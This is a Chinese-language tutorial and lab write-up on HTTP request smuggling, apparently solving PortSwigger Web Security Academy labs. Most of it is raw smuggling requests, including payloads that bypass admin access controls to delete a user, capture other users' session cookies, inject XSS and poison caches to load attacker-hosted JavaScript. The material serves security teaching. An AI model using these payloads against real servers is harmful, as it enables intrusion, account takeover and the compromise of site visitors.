发布时间:2023-03-24 13:00
分享技术,是因为热爱。但不痴迷技术,是因为理想更大! 如果你认同,请加入我们,凝聚技术人的力量,去真正影响这个世界!
请注意,在没有明确授权的情况下,不要在互联网中尝试此种攻击,否则属于违法行为!
重要的问题说三遍,
本文内容在真实运行网站中不要测试!不要测试!不要测试!
一般网站扛不住这种攻击,轻易尝试标题就是实打实送你的福利了,中奖率100%。
如标题提示,此文如你看不懂,没问题三连支持即可。如你能掌握,切记不要在真实运行的网站进行测试 。在靶场练习即可。此种方法危害性太大,一般网站扛不住,就算靶场我在练习的时候,也瘫了好几回。
当前端服务器将HTTP请求转发到后端服务器时,它通常会通过相同的后端网络连接发送多个请求,协议非常简单:一个接一个地发送HTTP请求,接收服务器解析HTTP请求头,以确定一个请求在哪里结束,下一个请求在哪里开始:
在这种情况下,前端和后端系统就请求之间的边界达成一致是至关重要的。否则,攻击者可能会发送一个不明确的请求,造成前端系统和后端系统对该请求的解释不同:
又名HTTP请求走私,是一种干扰网站处理从用户接收HTTP请求序列的方式的技术。该技术可使攻击者绕过安全控制,造成对敏感数据的未授权访问,并直接危害应用程序用户。
攻击者部分前端请求被后端服务器解释为下一个请求的开始。实际上优先于下一个正常请求,因此会干扰应用程序处理正常请求的方式。往往造成毁灭性的后果。
内容长度报头很简单:它以字节为单位指定消息体的长度。
报文长度数经常出问题,建议使用Burp插件HTTP Request Smuggler自动处理。
最方便的方法是:将报文完整粘贴到Sublime Text文本编辑器
中如果末尾有空行别忘了补充上。选中可直接查看字符数。
win平台: 换行用0d0a,
2
个字节表示
linux和mac: 换行分别用0a和0d,1
个字节表示
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
q=smuggling
用于指定数据包正文的分块编码。这意味着消息正文包含一个或多个数据块。每个区块以字节为单位的区块大小(以十六进制表示)、后跟换行符和下一个区块内容组成。该消息以大小为零的块终止。
长度表示与CL有不同,请注意代买括号中文字。
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b (16进制6,代表每一块chunck长11位)
q=smuggling (字符串11字节长,不要加2哈,与CL不同)、
0 (遇0 chunck结束)
HTTP规范:如果同时存在Content-Length和Transfer-Ending标头,则应忽略Content-Length标头,以防止此问题。
实际后端服务器的情况为:
如果前端服务器和后端服务器在传输编码标头模糊时的处理方式不同,则会在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。
请求走私攻击涉及将Content-length
标头和Transfer-Encoding
标头放入同一个HTTP请求中,并对其进行处理,以便前端服务器和后端服务器以不同的方式处理请求。具体的实现方式取决于两台服务器的行为:
CL.TE:前端服务器使用Content-length
,后端服务器使用Transfer-Encoding
头部。
TE.CL:前端服务器使用Transfer-Encodin
头部,后端服务器使用Content-length
头部。
TE.TE:前端和后端服务器都支持Transfer-Encodin
报头,但可以通过以某种方式混淆报头来诱导其中一个服务器不处理它。
front-end: Contnt-Length
back-end: Transfer-Encoding
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0 (3字节)
(2字节)
SMUGGLED (8字节,最后2个空字节不加)
前端服务器处理Contnt-Length,长度为13 涵盖了所有bady数据(空行算4个字节)
后端服务器处理Transfer-Encoding,处理第一个块,该块被声明为零长度,因此被视为终止请求。余下的SMUGGLED,后端服务器将遗留字节作为下一个请求的开始
SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
....
例题 1
front-end: Transfer-Encoding
back-end: Contnt-Length
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3 (CT声明的报文正文长度)
Transfer-Encoding: chunked
8 (声明第一个块8字节长)
SMUGGLED (第一个块内容)
0 (第二个块声明长度为0)
(\\r\\n空行)
(\\r\\n空行)
注意点:
- Burp软件中 “Update Content-Length” ,请关闭。
- 在0后要输入
\\r\\n\\r\\n
burp中就意味着0后面加两个空行
前端服务器处理TE标头,因此将报文正文视为使用分块编码。它处理第一个数据块,被声明为8字节长,内容为SMUGGLED的。第二个块被声明为0长度,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Long报头,并确定请求正文为3字节长,(正文内容为8\\r\\n\\r\\n
共占3字节)。后面的字节SMUGGLED\\r\\n\\r\\n0\\r\\n\\r\\n
均未被处理,后端服务器将这些字节视为下一个请求的开始。
例题2
front-end、back-end都支持Transfer-Encoding
,但通过某种方式影响其中一个,使其不处理Transfer-Encoding
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
在实际系统中,很少绝对精确地遵守网络规范,系统通常会容忍与规范不同的变化。要发现TE.TE漏洞。
需要找到Transfer-Ending标头的某些变体,造成只有一台前端或后端服务器处理它,而另一台服务器忽略它。
例题 3
要首先验证CL.TE,排除后再验证TE.CL,否则产生其他影响。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4 13
(引起事件延迟的代码) (漏洞利用的代码)
1 0
A
X SMUGGLED
前端服务器使用Content-Length报头,只转发此请求的一部分,省略X。后端服务器使用Transfer-Ending报头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
前端服务器使用Transfer-Encoding标头,因此它将只转发此请求的一部分,省略X。后端服务器使用Content-Length标头,等待其余内容到达。这将导致明显的时间延迟。
当疑似有请求走私漏洞时,可以通过利用该漏洞来触发应用程序响应的内容差异,从而获得该漏洞的进一步证据。这包括快速连续地向应用程序发送两个请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
如果攻击成功,则后端服务器会将该请求的最后两行视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的URL,因此服务器将使用状态代码404进行响应,表名干扰成功,漏洞存在
例题4
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
如果攻击成功,则从GET/404开始的所有内容都会被后端服务器视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
例题5
在某些应用程序中,前端Web服务器用于实现一些安全控制,通过验证的单个请求被转发到后端服务器,未通过的被过滤掉。
假设应用程序使用前端服务器来实现访问控制限制,只有在授权用户访问所请求的URL时才转发请求。而后端服务器接受每个请求,无需进一步检查。在这种情况下,可以使用HTTP请求走私漏洞绕过访问控制。
假设允许当前用户访问/home,但不允许访问/admin。他们可以使用以下请求走私攻击绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
例题 6、7
许多应用程序中,前端服务器在请求转发到后端服务器之前执行一些重写,通常是通过添加额外的请求头。例如:
如果走私请求缺少这些临时添加的头部,则后端服务器不会以正常方式处理请求,从而导致走私请求无法达到预期效果。
获得经修改的请求,需要执行以下步骤:
- 查找满足要求的POST请求:请求参数值要反映到应用程序响应中。
- 调整参数,使该参数出现在报文BODY的最后。
- 通过请求走私,发送到后端服务器,成功时经前端修改的普通请求会出现在响应中。
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
响应中包括:
<input id="email" value="wiener@normal-user.net" type="text">
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100 (注意这个长度,你不知道有多长,慢慢增加,直到获得所需信息)
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
例题8
作为TLS握手的一部分,服务器提供证书给客户端(通常是浏览器)来验证自身。该证书包含它们的“通用名称”(CN),它应该与它们注册的主机名匹配。然后,客户端可以使用这一点来验证它们是否正在与合法服务器对话。有些站点更进一步,实现了一种相互的TLS身份验证形式。
客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,例如,可以作为访问控制机制的一部分在后端应用程序逻辑中使用。
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
由于这些标头对用户完全隐藏,因此受到后端服务器的默认信任。假设能够发送正确的头和值组合,就能够绕过访问控制。
在实践中,因为前端服务器往往会覆盖这些标头。但是通过请求走私,包含的任何标头都将原封不动地发送到后端。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator (此处即为攻击荷载)
Foo: x
这个利用点与上述“2. 前端服务器对请求包的修改”非常类似
如果应用程序允许存储和检索文本数据的相关功能,则可以使用HTTP请求走私来捕获其他用户请求的内容。这些攻击可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。适合用作此攻击工具的功能包括评论、电子邮件、配置文件描述等。
要执行攻击,需要走私一个向存储函数提交数据的请求,其中请求数据的参数位于请求的最后。后端服务器处理的下一个请求将被附加到走私的请求中。
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
得到的结果如下:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
一个限制是,通常只捕获数据,直到适用于走私请求的参数分隔符
&
。对于URL编码的表单提交,这意味着从受害用户的请求存储的内容将在第一个&结束,或可能出现在查询字符串中。
导致获取数据不全,遇到&会自动判定截止。
例题9
如果应用程序存在HTTP请求走私的攻击漏洞,并且还包含反射的XSS,则可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于正常利用反射的XSS:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
例题10
许多应用程序执行一个URL到另一个URL的现场重定向,并将请求的主机标头中的主机名放入重定向URL。这方面的一个示例是Apache和IIS Web服务器的默认行为,在这种情况下,对不带尾随斜杠的文件夹的请求会收到到相同文件夹的重定向,附带尾随斜杠:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
如上所示可以构造请求走私攻击荷载
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
造成的结果是
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
用户的请求的页面要导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受攻击用户。
这是利用6的攻击的一种危害更大的变种
利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础架构的任何部分执行内容缓存(通常出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,从而影响随后请求受影响URL的任何用户。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器,后端服务器像以前一样使用异地重定向进行响应。前端服务器会将第二个URL缓存的有毒缓存进行响应,该URL为/Static/includde.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
例题11
可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存中毒攻击的工作方式类似,但目的不同。
这个技巧在实际中不太还是用,下面会说明原因
从缓存提供给其他应用程序用户
。攻击者从缓存中检索这些内容
。POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
下一个用户的请求包被追加到后面。走私数据包与受害用户的正常请求合并在了一起
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。请求中的URL用于用户的私人消息,并且该请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的URL的URL缓存此响应,该URL为/static/some-image.png
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
攻击者访问静态URL,得到缓存返回的敏感内容。
注意:攻击者不知道缓存敏感内容的URL,因为这是受害者用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL才能发现 。
例题12
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,不支持chunked encoding
GET / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Cookie: session=odOxTPDSOPiYAj9SNXvvGCA4Trv1KohD
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
POST / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G
发送两次数据包,看到响应
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,
后端服务器不支持chunked encoding
GET / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Cookie: session=5vbjnInq85UmYPpM2yxkgEva0s2XOSNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
POST / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=2
0
tips:
- 为什么要是5c(16进驻,转换为10进制为92) 因为后面从G到x=2末尾看HEX一共是92个字节。
![92.png](https://img-blog.csdnimg.cn/img_convert/acc27280938ce23ea522209c563499c9.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=uf122f171&margin=[object Object]&name=92.png&originHeight=268&originWidth=651&originalType=binary&ratio=1&rotation=0&showTitle=false&size=40874&status=done&style=none&taskId=ucb58d0e4-2bed-4642-b6c2-b8607bfae8b&title=)
- 后一个CL为什么是15,因为从x到最后是15位
![15.png](https://img-blog.csdnimg.cn/img_convert/cbcca233bd50cc4f1217e9422f70c64e.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=u9d7ac890&margin=[object Object]&name=15.png&originHeight=220&originWidth=726&originalType=binary&ratio=1&rotation=0&showTitle=false&size=33046&status=done&style=none&taskId=u469ecb36-68fd-455f-bfca-238e8dcb3b3&title=)
使后端服务器,接收到方法为GPOST
的数据包
前端服务器仅接受GET``POST
方法,
POST / HTTP/1.1
Host: ac861f6c1f784f10c05d835f00d700bd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4 (正文长度2~4均可,5c此行长度为2)
Transfer-Encoding: chunked
Transfer-Encoding: x (此行经测试只要不是正常chunked均可行)
5c (16进制为92字节,代表后续chunked块大小为92,见附图1)
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15 (正文长度为10~20均可,x=1 0最少含一个末尾空行的总长度 )
x=1
0
(注意这是第一个空行)
(注意这是第二个空行)
![92.png](https://img-blog.csdnimg.cn/img_convert/d9f7db91357bd86ffb8eb4d9f653c805.png#clientId=u66d7ad26-6a82-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=ua049e1a2&margin=[object Object]&name=92.png&originHeight=294&originWidth=1132&originalType=binary&ratio=1&rotation=0&showTitle=false&size=86188&status=done&style=none&taskId=uc49cbb28-9307-4cd8-9445-16d7c366299&title=)
使后端服务器,接收到路径为/404
响应
前端服务器不支持chunck
POST / HTTP/1.1
Host: aced1ff61fbf8835c0db363e00c7009b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
使后端服务器,接收到路径为/404
响应
后端服务器不支持chunck
POST / HTTP/1.1
Host: ac351f0c1e55b187c00d21ab007c000f.web-security-academy.net
Cookie: session=pdyE4sezAIBOprQKtMYpdJVAhJUbL0ET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
绕过前端服务器限制,访问/admin
删除用户carlos
前端服务器不支持chunck
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Admin interface only available to local users
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
尝试修改攻击包,在body中直接使用删除carlos的连接,一步到位。成功
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
绕过前端服务器限制,访问/admin
删除用户carlos
后端服务器不支持chunck
与上题思路完全一致,仅是TE.CL的区别,直接上攻击包
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
6c
POST /admin HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
0
获取删除连接后,直接更换URL
POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4 (3也可以)
Transfer-Encoding: chunked
87 (这个长度,可以采用前文介绍的使用sublime text方式,快速准确)
GET /admin/delete?username=carlos HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10 (随意了10-15 只要能包括整个body就行)
x=1
0
绕过前端服务器限制,访问/admin
(允许127.0.0.1访问) 删除用户carlos
前端服务器会重写请求包。增加传递的IP地址
该靶场整个思路比较完整
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124 (该值利用Burp自动更新即可)
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
<section class=blog-header>
<h1>0 search results for 'testPOST / HTTP/1.1
X-FwmRJA-Ip: 120.245.96.65
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-'</h1>
<hr>
</section>
发现特殊报头`X-FwmRJA-Ip: 120.245.96.65`
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
窃取其他用户数据包,使用得到的cookies,登陆其账户
前端服务器不支持chunked encoding
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token
csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
CL数值,不能太小,数据包会截断。不能长,否则第二次发送,会报超时错误。所以得逐渐增大。最终找到最精确的大小
POST / HTTP/1.1
Host: ac031f531f8d7595c0540c16001c00ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=HlQN25yrPKwTAuxc7Lut7wGfvqWy28Dv
Content-Type: application/x-www-form-urlencoded
Content-Length: 845
csrf=2glELqVZxInWRYmUrXiozfsmvWJ9ucEb&postId=6&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=comment+2
页面显示效果
使下一个访问的受害用户执行alert(1)
前端服务器不支持chunked encoding
User-Agent处存在XSS攻击点
POST / HTTP/1.1
Host: ac881f5b1e50b164c02e036e0013000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
需要多次反复发送数据包,知道出现404响应。因不知道目标用户核实访问,需要反复尝试
使受害用户收到中毒缓存,加载恶意js,执行alert(document.cookie)
前端服务器不支持chunked encoding
,会对某些相应进行缓存
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
body: alert(document.cookie)
POST / HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-acc01f481ff3f44ac06d05c1018e0059.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
GET /resources/js/tracking.js HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Connection: close
生成存有受害用户敏感数据 API key 的缓存,找到该缓存,提交敏感数据。
前端服务器不支持chunked encoding
,会缓存静态资源。可以登陆攻击者申请的测试账户熟悉web程序
该靶场整个思路比较完整
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
X-Ignore: X